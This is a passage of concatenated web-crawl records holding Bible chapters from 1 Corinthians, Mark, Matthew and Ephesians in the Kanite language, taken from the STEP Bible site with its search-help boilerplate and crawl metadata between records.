kampar-ísóígómbá úmakesa kwená imáyáa mósá makáavo kesáá íma mirá ónáisaiye. mináíntávéna Áánútun-aai aúváívimba agaimaréna séna\nkwaási maraꞋá mésa toóné noné\nnásuwesa usásinesa tiraimá makáawe.\nkampar-ísóígóntávésa imáyáa ésa mirá uráawe agaimaréna siráiye. 8 miwívínkémbá évakarawai aarai-úmóyáné kwaai-úmóyáné uráavo kesáá íma mirá ónáisaiye. mirá untavéna mimbórá-kánáávímbá Áánútu sáwíva-kwaasi 23,000 kwaasi tínkamuwasa pukáawe. 9 miwívínkémbá évakarawai Ísóigomba masínkáánkáí sésa Áánútu kentááráꞋá íma kaweꞋá umái kwégarakwiye kampaꞋá sésa sáwíꞋa uráavo kesáá íya mirá ónáisaiye. mirá untavéna Áánútu iraankavayaantómbá tiꞋmarówasa vowasá pukáawe. 10 miwívínkémbá évakarawai Áánútumba íꞋái ánkaraavo kesáá íma mirá síyataao. mirá untavéna Áánútumo kwíyómpakembo aiꞋmarówai tínkamuwasa pukáawe.\n11 miwívímbá mirán-tántááꞋá paárúwana Áánútun-aai aúváívimba agaimakáimba kesáá ánásanin-kanaavinta máyaundawaiya mináímbá kwéiseta imáyáa éta íma miráyá éta kárákwiyono.\n12 miráumai kesávéꞋa séꞋa asiramái máyaundawaiya úne kwésewai moórá-yantaako tavisínaꞋa sáwíꞋa únavo séꞋa kárákwiyoro. 13 sáwíꞋo ónááon-umbai-yantaaꞋo kentópaꞋa tiráimba mindá amápa-kwaasitopaꞋa tiráiye. Áánútu tiráváyáiwaima séna sáwí-asirayan-tantaako kentópaꞋa téna tavisínaꞋa sáwíꞋa ovó séna mirán-tántááꞋó tuwánááon-amba ámáá-ontama agaráátinkainaꞋa kanaán-umai asiramái méꞋa íma sáwíꞋa ónááowe.\n14 kesí kwaásiyono. Yútaa-kwaasiya síkwáꞋnáma uráantemba mirá únavo séꞋa kampar-ásíráyánkwáráwáítí imáyáamo mósá kwémaraamba tínaaemba umáméro. 15 kawer-ímáyáámó kwéon-kwaasi owaꞋá asiramái simátimeꞋa séꞋa simátimunda-aimba kaweꞋá umái imáyáa oro. 16 Ísu Káráísitimo kentááyáváíyé sénamo kwená naaemó kumúwanamo pukáintaveta imáyáa éta aráá-tomba kwénaundaya ándá-aran-domba ÁánútumpaꞋa súwi séta mindómbá kwénaundaya maará séta Ísu Káráísitina naaenéíyá tarúmaiya máyaumne. mináráá-tómbá topámbaiya kwénaundaya maará séta Ísu Káráísiti áúneiya tarúmaiya máyaundaya 17 mináráá-tómbá mimbórá-tómbá kwáyáísata mimpínkéntáámó amáparawaiya kwénaundayaveta mimbórá-kwáásí-íꞋa umáíya méta sáwívarawaiya úndanivo mimbórá-kwáásí-íꞋa umáíya kwémaumne.\n18 Ísareri-andarakewai Yútaa-kwaasimo kwéomba imáyáa oro. Áánútuntavesa imáyáa ésa óntan-taareiraꞋa póí tuvúꞋmái agaimái kwéamesamo kwéomba Áánútuwe tarúmai máyáawe. 19 súnda-ainkona ááimba simátíménda ísáaro. kwaántá-kwaasimo toómbó tímémba kwaántá-kwaasi kwétuwaꞋnaa-ontavaiya kwétimeo. ímaniye. kwaántá-kwaasima kwétimen-tomba anón-tantaaraꞋiyo. ímanivo úwoisan-tomban-iye. súnda-ainkona ááimba maarán-áímbán-iye. póímo kwétuvuꞋnesamo évakar-amaꞋo kwaántá-kwaasimo kwétimesamo máyáamba íma Áánútumba kwéamesa máyáawe. kwaántá-kwaasimo timéꞋo miwísémo tarúmaimo máyáamba miráumai íma máéroyavena siráái kwétaiye. 21 Ísóigoe tarúmai maésa kwaántá-kwaasiye tarúmai maésa kwéomba íma kanaán-umai kwémaewe. ÍsóigontaveꞋa imáyáa éꞋa ándá-aran-done toóné kwénaavo kwaántá-kwaasiyaveꞋo imáyáamo ésamo kwétimesamo mintómbó kwénaapaꞋa íma koméꞋa naaró. 22 mirámó éꞋo séꞋo Ísóigo íma aivaráwáímán-iye síyanamo éna áwááꞋa tiyíníye. Ísóigona asirayánkó kentáásí asirayámbá usáyaaitaraivo íma mirán-oro.\n23 keinárawapinkemba évakarawai séꞋa amáparitaamo kwéundaya kanaán-iye kwésevo kemá Póro séꞋa évakariꞋo kwéomba íma kaweꞋá kwéumatinkaisana évakariꞋo kwéomba íma kwétuwaꞋnaa-iye kwésune. 24 miráumai kesávéꞋo túwaꞋnaa ónááom-bayaiye suꞋmai íma maéꞋa óꞋowigwaraꞋo túwaꞋnaa ónááom-bayaigwaraꞋa máyáaro. 25 maarán-áímbá imáyáa oro. naaóváꞋá Áánútun-aai aúváívimba agaimaréna séna\nmarawé minkáꞋó kwáyáin-tantaare\namápaꞋa Ísóigondeiman-iye\nagaimaréna siráimba Áánútu kentááyávéna imáyáa éna makáimba póꞋa máákétirakemba póí-amaꞋa úwoi meéyán-ureꞋa íma anón-imayaa éꞋa séꞋa sáwíraꞋu. kaweráꞋúnó íma kwéseꞋa úwoi naaró. 27 moóráwaimo Áánútun-aaiyavenamo ímo árairemo siráindawai tááyena séna kesí naaúmpaꞋa toómbá naarómó sínaꞋo owémó séꞋo éꞋa koméꞋa íma áísaa eꞋa náávaken-tonaꞋiyo íma séꞋa úwoi kwéneꞋa sáwíraꞋu. kaweráꞋúnó íma séꞋa úwoi naaró. 28 ánivo moóráwaimo sénamo kwaántá-kwaasi tímakaan-tomba iyémó sínímbo éꞋa kanaámpó úwoi nánaumne-imayaa kwéombanivo mináímbó sin-kwáásígó imáyáa éna séna Ísu Káráísitina kwaási kwaántá-kwaasimo póímo tímémba kanaán-iye kwésivo íma naaró.\nkeinárawapinkemba évakarawai séꞋa kwaántá-kwaasimo tímén-tombo náúndaya mindá kanaán-iye. ánivo moóráwaimo kwesávénamo sénamo kwaántá-kwaasimo tímén-tomba náúnavo kwésiwai kwemá kentááyávéna naavó íma sisinó. 30 toóntávéta ÁánútumpaꞋa súwi kwéseta kwénaunanaya moóráwai séna íma naaró ímo seráámbá kwésiye keinárawaꞋa sentávéꞋa 31 kemá Póro séꞋa Áánútu áwíꞋa mósá máráam-bayaiye suꞋmai maéꞋa toóné noné kwéneꞋa mayáímó kwémayaamba ÁánútuntaveꞋa imáyáa éꞋa kwenáwíꞋa mósá máráaro. 32 Yútaa-kwaasiyavaiye óꞋonkaa-kwaasiyavaiye Áánútuna kwaásiyavaiye imáyáa éꞋa kaweꞋá oro. tuwánésa sáwí-amba kwáráavo séꞋa kárákwiyoro kwésune. 33 imáyáa éꞋa séꞋa suwánésa aamoí umásinkaigwae séꞋa máyaumne. kesáváíyé suꞋmai kaweꞋó ií-máyáí íma kwémayaumpo amáparawaigwaraꞋo kaweꞋó umátínkáim-bayai kwémayaunda póna Áánútu sáwíꞋo umáímo máyáampinkemba tiráínasa kaweꞋá umái ménaaom-bayai kwémayaumne.\nCopyright information for `KZE\nWelcome to STEP Bible\nFrom Tyndale House, Cambridge UK\nUse the search box to find Bibles, commentaries, passages, search terms, etc. Here are some examples:\nESVGen 1\nThis shows how to quickly lookup a passage.\nNIVESVKJVGen 1\nLooking up a passage in three different translations is also easy.\nESVbrother\nThis asks STEP to search for the Greek word for 'brother' and show the results in the ESV.\nNIVESVlandhe.sed\nThis example runs both a 'Hebrew word search' and a 'Text' search and shows the results in both the NIV and ESV.\nESVthroneDavidIsa-Rev\nYou can mix most searches. This finds any word translated as 'throne' in the Prophets and the New Testament, but only in verses concerning the topic 'David'. This excludes verses which refer to a 'throne' in other contexts.\nKJVWHNUJohn 1\nInterlinear Hebrew & Greek is available for some translations with grammar (and more soon). To reverse the interlinear order, click on a version abbreviation under the verse number.\n© Tyndale House, Cambridge, UK - 2018","id":"","dump":"CC-MAIN-2018-17","url":"https:\/\/www.stepbible.org\/?q=version=KZE%7Creference=1Cor.10","date":"2018-04-20T10:57:29Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-17\/segments\/1524125937440.13\/warc\/CC-MAIN-20180420100911-20180420120911-00083.warc.gz","language":"kze","language_score":1.0000038147,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"kze_Latn_score\": 1.0000038146972656}","num_words":842,"character_repetition_ratio":0.054,"word_repetition_ratio":0.0,"special_characters_ratio":0.155,"stopwords_ratio":0.138,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Mark 1\nYóni nombá pétinkowai simátímakain-kwasai.1 Áánútu ááninko Ísu Káráísiti kwená áséi-kwasai maarámán-iye. 2 naaóváꞋá moóráwai áwíꞋa Yóni íma máyonkaꞋa Áánútun-aai simátímakowai áwíꞋa Áísáya Yónin-aai simái agaimaréna séna\n- Áánútu séna isaaó. moóráwaimba aiꞋmáráanana kesáái maimaéna ená aivaꞋá kwéna ená aambá kwirankéna\n6 Yóni póígo áwíꞋa káámeri kwená áyáu-kwatoi iréna aúwarasinei ámúr-anda uréna aꞋnóríné kwantáámíkóná aúwé mintóné suꞋmai kwénena 7 simátimena séna moóráwai kesínaaemba tíníwai kwemá anóndakoma kembá usáyaaitaraimba póꞋa kwemó aaimó síndavimba kemá aaimá sendamá uvóvíꞋa ónaumne. 8 kemá nombá pétinkaundanivo kwemá Áánútu amankómbá aiꞋmaráínana kuména keinárawapimba anómba umátinkaniye siráiye.\nÍsumba nombá pérankarain-kwasai.9 minkánáá Káríri-ayampakemba Násáreti-naopakemba Ísu túwana Yótáni-nompimba Yóni kwembá nombá pérankowana 10 Ísu nompínkémbá usásinowana sokón-tawaai taaínkar-úwana Yóni awánómba Áánútun-amanko mááiraamba úmaena Ísu aneꞋá kumbáyowana 11 kwíyómpakemba aaigówé suꞋmai séna emá kesááninko ónaꞋa ená imáyáa kwéeꞋa ávááraumai aamoí umánkaumne siráiye.\nSáátáánigo Ísumba áísaa umai awánanae siráin-kwasai.12 súwana Áánútun-amankoma Ísumba simámuwana kavóná-maravaꞋa komáyowana 13 kae-kwááí aíyayaan-doꞋwaamba 40 noꞋwaamba komáyowana Sáátáánigo Ísu sáwíꞋo índa awánanae séna óꞋon-oꞋon-aimba súwana Ísu íma sáwíꞋa éna aváá-kwánkáán-umai máyowasa kwíyómpakemba Áánútuna kwayóꞋnárawaꞋa kumbésa áwaꞋnaa umánkaraawe.\nÍsu éíyain-kwaasi tááyarain-kwasai.14 naaémba Yóni Káríri-marara-kawaanako áwíꞋa Érótintavena séna sáwíꞋa uráiye siróntavena Yónimba ándávaꞋa máankowana máyowana Ísu Káríri-ayampaꞋa kwéna Áánútuna áséi-kwasai simátimena séna 15 Áánútu kwená kwaásiraꞋo kawááimba ááimba kwéasaivo kentí sáwí-imayaa tuwéꞋa Áánútuna áséi-aintaveꞋa áraire seró siráiye.\n16 mináímbá simásuwena Káríri-kwaaunkon-awampakavamba kúmba kae-kwáásíráí mésarai awaaó áwíꞋa Sáímoni úwana áváko áwíꞋa Éndaru umái mésarai miwítí mayáímá pósarai noyááꞋa toꞋmái tímapaꞋa kwénaaesarai kwase-únámbá nompí tukóyana 17 Ísu simátimena séna kesé tekaiyó. noyááꞋo toꞋmáímo tímapaꞋo kwénaaoyantemba aúná-mayai tíménakai kwénaaekai kesáái simátímapaꞋa kwénaaiyasa kesópaꞋa teró súwasarai 18 minkwásé-únámbá tuwésarai kwesé kurááiye.\n19 kwesé kuyaná Ísu sáwíyankaꞋa kúmba kae-kwáásíráí mésarai Sépéti ááninkai awaaó áwíꞋa Yémési úwana áváko áwíꞋa Yóniye nompí-sípívímbá mésarai kwase-únámbá toꞋmayaa kwéuyana 20 Ísu tuwánéna tááyowasarai mindómpí-sípívímbá tivowáné kwená mayáí-kwáásíyé tiyuwésarai Ísuwe kurááiye.\narumpimbá taraváá-kwámbá máyowaina kwaasái.21 Kápénéamu-naopaꞋa komáyómba Yútaa-kwaasi monor-áímbó kwéison-kanaa túwana Ísu monoꞋ-náúmpáꞋá uména kwenáái simátimuwasa 22 isésa asiramái súntavesa sésa ámáámba sentenkááníꞋa íma kwésivo anón-kwaasigoraamba kwésiye sésa táátavai uráawe.\n23 táátavai uwaná mimbónóꞋ-náúmpáꞋá moóráwai kwenarumpimbá taraváá-kwámbá máyon-kwaasigo ména 24 anónkaꞋa séna Ísu Násáretivakewaima óne. kentáá nóra taéwa tasínkambaiya ánásaniyono. embá awánáúndawai Áánútuna kawe-kwáyóꞋnáꞋá óne súwana 25 Ísu taraváá-kwántánéna asiramái séna aaiseré minkwáásí tiyuwé kóaao súwana 26 mintáráváá-kwánkó minkwáásí tokáꞋmái tuvámbarowana aíyayaanko sápísimaguwana kwááꞋa túmaena arumpinkémbá kóúwasa 27 awánésa táátavai ésa keáímbá sésa mindóraꞋiyo. aúnáiꞋan-iye. kwemá taraváá-kwántávéna asiramái kwésisasa sintembá kwéowe suwaná 28 mirá úwasa Káríri-ayampaꞋa Ísun-aai kóyáwé úwasa ísaraawe.\nÍsu tíꞋo ún-kwaasi asóvatinkarain-kwasai.29 ísówasa monoꞋ-náúmpáꞋá tuwésa Sáímoninte Éndaruntei mindáraiti naaúmpaꞋa íyúmba Yémésiye Yóniye Ísuwe umái íyúmba 30 Sáímoni aísáankomba kokotámba kwéankowana máyowasa Ísumba simámúwana 31 iséna kwenópaꞋa téna ayáánkaꞋa tátoꞋmai usásinankowana kokotámba ánásowana usásinkwena toómbá agaimái tímakaiye.\n32 toómbá agai-timúwasa enónkaꞋa tíꞋo ún-kwaasiyonkwara taraváá-kwámbó tirumpimbó máyón-kwaasiyonkwaraꞋa tíꞋmaesa ÍsunopaꞋa mátínkówasa 33 mindáópaken-kwaasiyomba amápaꞋa ontaráꞋá torupowaná 34 Ísu óꞋon-oꞋon-tiꞋo ún-kwaasiyomba asóvamatinkena taraváá-kwámbá tirumpinkémbá maituyuwówasa mintáráváá-kwántómbá Ísuntavesa Áánútu ááninkoman-iye sésa kwembá awánontavena aaiséráaro Ísu súwasa kóuraawe.\nÍsu KárírivaꞋa simátímakain-kwasai.35 kóuwana irataróꞋá Ísu usásinena mindáópaꞋa tuwéna námúnaa síndayavena íma kwaási máyópaꞋa koména námúnaa kwésena máyowana 36 Sáímoni kwená kwaásiye Ísumba avakáá-umai 37 awánésa sésa amápa-kwaasi embá kwéavakaa-owe suwaná 38 Ísu séna óꞋon-daopimpakwarata kwénaaeta kesáái simátímapaꞋa koónaumne. mirá ónaundayaveꞋa túne séna 39 Káríri-ayampaꞋa monoꞋ-náúmpímpáꞋá kosimátímapaꞋa kwénaaena tirumpinkémbá taraváá-kwámbá maitiyuwówasa kóuraawe.\nÍsu áúma karón-kwaasi kaweꞋá umánkarain-kwasai.40 moórá-tawai ÍsunopaꞋa áúma karón-kwaasigo téna anóndakoman-iye séna aísamaivimba takívairena séna kentávénamo ankáínamo e kanaán-umai aúnáiꞋa umásinkaniyono súwana 41 Ísu arumbá úwana ayáándei aneꞋá tátorena séna mirá ónaumpo enáúraꞋa karevúꞋa kawáúgwiye séna 42 avekáámbá kaweꞋá umánkowana kawáúguwana 43 Ísu asiramái séna enáúraꞋa kawáúgwimba po Mósesimo siráintemba monoꞋ-máyáí-kwáásítópaꞋa kwéma enáúma máagaraatinke póíma tímínasa Áánútuntavesa ísámai tuvúꞋmái agayáíyasa amáparawai awánésa áúrakemba kawáúgwiye sénááowe. ánivo enáúraꞋo umánkaunda-aimba simátimunavo se kwaaó Ísu súwana 45 minkwáásígó ivátuwena kaweꞋá umánkon-aimba simátímaꞋmae iyúwana mináínkó kóyáwé úwasa sáwívarawai Ísu tíníye sésa kentí naaópimpaꞋa torupamái máyówana mindáyavena Ísu íma naaóꞋ-naoꞋa kúmba kwaási íma máyónkavamba máyowasa naaóꞋ-naoken-kwaasi kwenópaꞋa tóyo uráawe.\nCopyright information for `KZE\nWelcome to STEP Bible\nFrom Tyndale House, Cambridge UK\nUse the search box to find Bibles, commentaries, passages, search terms, etc. Here are some examples:\nESVGen 1\nThis shows how to quickly lookup a passage.\nNIVESVKJVGen 1\nLooking up a passage in three different translations is also easy.\nESVbrother\nThis asks STEP to search for the Greek word for 'brother' and show the results in the ESV.\nNIVESVlandhe.sed\nThis example runs both a 'Hebrew word search' and a 'Text' search and shows the results in both the NIV and ESV.\nESVthroneDavidIsa-Rev\nYou can mix most searches. This finds any word translated as 'throne' in the Prophets and the New Testament, but only in verses concerning the topic 'David'. This excludes verses which refer to a 'throne' in other contexts.\nKJVWHNUJohn 1\nInterlinear Hebrew & Greek is available for some translations with grammar (and more soon). To reverse the interlinear order, click on a version abbreviation under the verse number.\n© Tyndale House, Cambridge, UK - 2018","id":"","dump":"CC-MAIN-2018-17","url":"https:\/\/www.stepbible.org\/?q=version=KZE%7Creference=Mar.1","date":"2018-04-26T08:03:57Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-17\/segments\/1524125948119.95\/warc\/CC-MAIN-20180426070605-20180426090605-00380.warc.gz","language":"kze","language_score":0.9999879599,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"kze_Latn_score\": 0.9999879598617554}","num_words":748,"character_repetition_ratio":0.041,"word_repetition_ratio":0.0,"special_characters_ratio":0.158,"stopwords_ratio":0.128,"flagged_words_ratio":0.0,"lang_id_score":0.998,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Matthew 9\nísu aísamai pukówaimba kaweꞋá umánkarain-kwasai.1 suwaná Ísu kwená kwayó-kwáásíyé nompí-sípívímbá usámaaisena kúmba kwená naaópaꞋa marapáꞋá ásávowasa 2 évakarawai aísamaimo pukówaimba kwandaaivímbá marésa taagwiyaꞋmaésa tésa ÍsunopaꞋa máánkówana Ísu tuwánéna taagwiyaꞋmaésamo tun-kwáásímó áraiꞋa kaweꞋá umánkaniye-imayaamo umbá Ísu tuwánéna aísamaimo pukón-kwaasiyavena séna kesí kwaásiyo ená sáwí-imayaa mayauwáúmne súwasa 3 ámáámba sun-kwáásí keáímbá sésa Áánútu kweyáá sáwí-imayaa maitiyuwánívo minkwáásígó Áánútumba akáꞋáámba kwésimankaiye suwaná 4 Ísu miwítí imáyáa tuwánéna nóra séra mirá-sáwí-ímáyáá kwéoo. 5 moóráwaimo aísamaimo pukáindawaintavenamo sénamo ená sáwí-imayaa mayauwáúmne sínasamo ésa áraira sií. kampará siíyo sénááowe. ánivo moóráwaimo aísamaimo pukáindawaintavenamo sénamo usásine eyááríkaꞋa kwaaó sínasamo ésa áraira sií. kampará siíyo awánanaaowe. 6 kemá kwaási úrandaꞋa kumpaáruraundawai marapáꞋá máyaunda kwaásiti sáwí-imayaa maitiyuwáúnda-asirayamba tokáunda póꞋa agaráátínkáanda awánanaaowe séna aísamaimo pukón-kwaasiyavena séna usásinke ená kwandaaimá maimaé ená naaópaꞋa kwaaó súwana 7 usásinena kwená naaópaꞋa kúwasa 8 máyówai Ísumo úmba awánésa táátavesa ésa Áánútu áwíꞋa mósá marésa sésa Áánútu minkwáásígómbá asirayámbá ámísana póna mirá uráiye sésa táátavesa ésa tiyáámba tóipimba áákaawe.\nÍsu Mátíyumba ááyarain-kwasai.9 suwaná Ísu tuwéna kwéna awánómba moóráwai áwíꞋa Mátíyu táákísimo máyón-daumpaꞋa máyowana awánéna séna usásine kesé tiyó súwana usásinena kwenánaaemba kwaꞋmaéna kúwasa 10 Ísu kwená kwayó-kwáásíyé Mátíyuna naaúmpaꞋa umésa toómbá nowasá sáwívarawai táákísimo máyón-kwaasiye sáwíꞋo un-kwáásíyé mindáúmpáꞋá umésa nowasá 11 ámáán-kawaa-kwaasi awánésa Ísuna kwayó-kwáásíyávésa tísaa esa sésa kentí anóndako nóra sénawa táákísimo máyáan-umoyan-kwaasiye sáwíꞋo on-kwáásíyé toómbá kwénaiyo suwaná 12 Ísu iséna séna sontaa-kwáásígó kaweꞋó umáímo máyáan-kwaasi íma kwétuwaꞋnaa-ivo tíꞋo in-kwáásí kwétuwaꞋnaa-iye. 13 mindáyaveꞋa arupí umáímo máyáan-kwaasi tááyaanasa ÁánútunopaꞋa tígwáe séꞋa íma kunkáumpo sáwíꞋo umáímo máyáan-kwaasi tááyaanasa ÁánútunopaꞋa tígwáe séꞋa kunkáumne. Áánútun-aai aúváívimba agaimaréna séna Áánútu séna\n- póímo tuvúꞋmáímo agaimáímo símémba kanaán-ivo tirumbó kwéumatinkaamba anón-aamoi kwéune\ntoómbá aawesuráan-kwasai.14 súwasa Yóni nombó pétinkowaina kwayó-kwáásí ÍsunopaꞋa tésa áísaa esa sésa keséya ámáán-kawaa-kwaasiye moórá-mora-tawai Áánútuntaveta imáyáa éta toómbá íma kwéneta námúnaawe suꞋmai kwésumpo ená kwayó-kwáásí íma mirá ésa toómbá úwoi kwénaawe. nóra esa mirá kwéoo suwaná 15 Ísu séna moóráwai aaraí mayáíndawai amááraawi tanómba kautimínímba miwísé máyainasa aamoí ésa mintómbá íma aꞋáo sénááovo úwoi nánááowe. naaémba minkwáásígómbá áíꞋmaesa kówíyasa minkánáámá amááraawi tirunkó sáwíꞋa ínasa toómbá aꞋáo sénááowe Ísu séna kwemó ménamo naaémbo tiyuwénamo iyíníntavena mináímbá siráiye.\n16 Ísu mináímbá simásuwena séna ááéraan-ampantaamo avaaꞋó kwáyáísasamo ombá aúná-ampanta íma kárámai kwéaraapaawe. mirámó íyana aúná-ampanta sáwíꞋa ínana ááéraan-ampantao aúná-ampantaraaniꞋa íma íníye. 17 aúná-anda-aran-domba ááéraa-sipisipi-auwarasi-anaveumpimba íma kwéatimaraawe. mirámó íyanamo éna aúná-anda-aran-domba anón-éna ááéraan-anaveumba kavámbaena sáwíꞋa ínana mindómbá úwoivaꞋa atígwiniye. mindáyavesa aúná-anda-aran-domba aúná-sipisipi-auwarasi-anaveumpimba kwéatimaraawana minándá-árán-dóné misípísípí-áúwárásí-anaveune kaweꞋá umái kwáyáiye Ísu siráiye.\ninaamarúgónté aaraigóntéi kwaasái.18 Ísu mináímbá kwésimatimumba moóráwai monoꞋ-nánkáꞋó kárákwirowai téna Ísu anóndakoman-iye séna aísamaivimba kumbéna séna kesiyáámúmba kwévuwivo tiré aneꞋá koyátorenana usásinaino súwana 19 Ísu usásinena kwená kwayó-kwáásíyé mindákóe kumbá 20 moórá-ininkomba áíꞋa kwéun-ininko sísamaivakemba kaeꞋá kumbaimái-ima naaeyámba kwéankowana minínínkó Ísun-ánaaemba kwaꞋmaéna kwégwena kwená unáánkwátói árááiraꞋa koyátorena 21 imáyáa éna séna kwená unáánkwátói árááiraꞋa koyátóráánanama síꞋa ésinkaniye-imayaa éna koyátorowana 22 Ísu kwanténa awánéna séna kesímánaako ááꞋa íma kaíno. kentáváí se áraiꞋa súwaꞋnaa íníwaiman-iye sénda póna áíꞋa éránkáiye súwana minkánáá kaweꞋá umái méraiye.\n23 kaweꞋá umái máyowana Ísu kwéna monoꞋ-nánkáꞋó kárákwirowaina naambó kwáyonkaꞋa kwéna awánómba torupamáímo máyón-kwaasi uwíremba kwésesa anón-iviꞋa kwétowana Ísu tuwánéna 24 séna máápaꞋa kúmóro. minárásígó íma pukáivo úwoi aúmá kwaiguráiye súwasa Ísuna awíráái suwaná 25 Ísu tiꞋmátuwowasa máápaꞋa kunákárúwowana minárásígó pukópaꞋa iyéna ayáánkaꞋa tátorowana minárásígó usásinowana 26 Ísumo ún-aimba kóyáwé uráiye.\nÍsu túramba kavíkóndarai kaweꞋá umátínkarain-kwasai.27 mináímbá kóyáwé úwana minkákémbá Ísu aampaꞋá kúmba kaeꞋnárai túramba kavíkóndarai kwenánaaemba kwaꞋmaésarai kwésarai anónkaꞋa sésarai Tévítina akún-ándárákéwáí ómpo arunkáí umásinkaao suyaná 28 kwégwena naaúmpaꞋa umáyowasarai minkáéꞋnárai kwesé umáyóyana Ísu tísaa ena séna kentávékai sékai súramba kanaán-umai kaweꞋá umásinkaniyewa kwéseyo Ísu súwasarai anóndakoo kanaán-umai mirá íníyone suyaná 29 kentávékai miráyavekai áraire séyamba póna túramba kaweꞋá íno súwasarai 30 túramba awánamai kaweꞋá uyaná Ísu asiramái simátimena séna kemó únda íma simátímékaiyo súwasarai 31 ivátuwesarai kwemó úmba mósimatim-besimatimba uyaná kóyáwé uráiye.\nÍsu ááma turuvíyán-kwaasi kaweꞋá umánkarain-kwasai.32 minkáéꞋnárai kuyasá évakarawai moóráwaimba áíꞋmaesa ÍsunopaꞋa máánkara. kwenarumpimbá taraváá-kwámbá máyontavena minkwáásígó íma aaí kwésuwasa áíꞋmaesa ÍsunopaꞋa máánkówana 33 Ísu mayauwówana kóúwana minkwáásígó aaí súwasa sáwívarawai awánésa táátavesa ésa sésa Ísareri-kwaasiya éta naaóváꞋá mirám-báyáí íma awáraundaya ívékwarata íma kwéawanaumne sumbánivo 34 ámáán-kawaa-kwaasi sésa taraváá-kwántóntí kawáánáꞋá asirayámbá ámísana tokéna póna taraváá-kwámbá kwémaitiyuwaiye siráawe.\nÍsu arumbá umátínkarain-kwasai.35 Ísu naaóꞋ-naoꞋa anón-daopimpare sáwíyan-daopimpare kwénaaena monoꞋ-náúmpímpáꞋá uména Áánútu kwená kwaásimo kawááin-aimba áséi-aimba simátímaꞋmaena iyéna óꞋon-oꞋon-tiꞋo ún-kwaasi asóvamatinkaraiye.\n36 Ísu mirá kwéuwasa sáwívarawaimo tóyo umbá tuwánéna séna sipisípiraꞋo ímo kárákwiraiwaimo ímo máyáísasamo sipisípimo sáwíꞋo umáímo nááóntemba mirá owasá íma túwaꞋnaa úmae kwénaaowasa sáwíꞋa kwéowe séna arumbá umátinkena 37 kwaásima ÁánútumpaꞋa tígwáe-imayaa éna kwená kwayó-kwáásíyávéna séna kígauvaꞋa sáwíva-tomba ávu karáisasa mintómbá akaránááon-kwaasi esimáí-kwaasi máyáamba póꞋa 38 kígaugona avowámpaꞋa námúnaa síyana mayáí-kwáásí tiꞋmaráínasa mintómbá akaránááowe Ísu siráiye.\nCopyright information for `KZE\nWelcome to STEP Bible\nFrom Tyndale House, Cambridge UK\nUse the search box to find Bibles, commentaries, passages, search terms, etc. Here are some examples:\nESVGen 1\nThis shows how to quickly lookup a passage.\nNIVESVKJVGen 1\nLooking up a passage in three different translations is also easy.\nESVbrother\nThis asks STEP to search for the Greek word for 'brother' and show the results in the ESV.\nNIVESVlandhe.sed\nThis example runs both a 'Hebrew word search' and a 'Text' search and shows the results in both the NIV and ESV.\nESVthroneDavidIsa-Rev\nYou can mix most searches. This finds any word translated as 'throne' in the Prophets and the New Testament, but only in verses concerning the topic 'David'. This excludes verses which refer to a 'throne' in other contexts.\nKJVWHNUJohn 1\nInterlinear Hebrew & Greek is available for some translations with grammar (and more soon). To reverse the interlinear order, click on a version abbreviation under the verse number.\n© Tyndale House, Cambridge, UK - 2018","id":"","dump":"CC-MAIN-2018-17","url":"https:\/\/www.stepbible.org\/?q=version=KZE%7Creference=Mat.9","date":"2018-04-26T11:49:24Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-17\/segments\/1524125948126.97\/warc\/CC-MAIN-20180426105552-20180426125552-00390.warc.gz","language":"kze","language_score":0.9999959469,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"kze_Latn_score\": 0.9999959468841553}","num_words":870,"character_repetition_ratio":0.043,"word_repetition_ratio":0.0,"special_characters_ratio":0.154,"stopwords_ratio":0.157,"flagged_words_ratio":0.0,"lang_id_score":0.999,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Ephesians 2\nÁánútuna némpaꞋa máyaundavakenta aúnáiꞋo umáímo máyaunda-ita umásínkáin-kwasai.1 ááéma sáwí-imayaa kwéeꞋa sáwíꞋa uráan-kanaavimba máyáawaina ááimba Áánútuna némpaꞋa méꞋa póꞋa 2 marapákén-kwáásítí sáwí-amba kwaréꞋa Sáátáánigo kwaántá-kwaasiti anóndakomba kwaréꞋa kwemá Áánútun-aai íma ísámai kaweꞋá kwéowairaꞋa kárákwiraiwaimba kwakáawe. 3 mirámó kwéontemba ááéma miráyá uráunda sáwí-yantaataveta sirááíyaveta éta sáwí-imayaa kwarááwánanaya Áánútu sáwí-meyamba amáparawai tímínten-umai kanaán-umai simíníntavenaya ivátuwenaya 4 arumbá ávááraumai umásinkenaya kentáásí imáyáa anómba éna póna 5 úwoi súwaꞋnaa enaya kawer-ámpátá mésínkaraiye. sáwítaamo étaamo máyaawandawaina ááinkaꞋa Áánútuna némpaꞋa máyaawandarata Ísu Káráísitimbo pukáimpinkembo usásinankaraintemba aúnáiꞋo umáímo máyaunda-ita umásinkenaya 6 Káráísitimba pukáimpinkemba usásinankena kwíyómpaꞋa móankarena Ísu Káráísitinte tarúsinkenaya aúnáiꞋa umásínkaraisata Káráísitimo kwíyómpaꞋo ménamo kárákwiraintemba kwíyómpata imáyáa éta máyaumne. 7 Áánútu Ísu Káráísitimba aiꞋmarówana kumbéna kentááyáváíyé séna puwéna kentáásí sáwí-imayaa maisiyuwéna miráumai anón-kaweꞋa umásinkenaya úwoi anómba súwaꞋnaa uráisasa pósa kwená kaweꞋ-máyáí awánamae iyónááontavena mirá uráiye. 8 Áánútu úwoi túwaꞋnaa úwaꞋa kwenááiyaveꞋa áraire suwaná sáwí-imayaao tátokaimpinkemba iyátinkena kawer-ámpáꞋá métínkaraiye. íma kentí imáyáavinkemba kwenááiyaveꞋa áraire siráavo Áánútuma imáyáa timúwaꞋa áraire siráawe. 9 túma maé iyésa sésa kaweꞋá kwéunda póta kawer-ámpátá kwégune sevó séna íma kaweꞋ-máyáígóná meéyámbán-ivo Áánútu úwoi túwaꞋnaa enayavena sáwí-imayaao tátokaimpinkemba iyátinkena kawer-ámpáꞋá métínkaraiye. 10 Áánútu kentáámó taróruraiwai séna kaweꞋ-máyáí maimaé kwéiyesa ménaaowe siráimba póna kaweꞋ-máyáí mayánaundayavenaya tarórurena Ísu 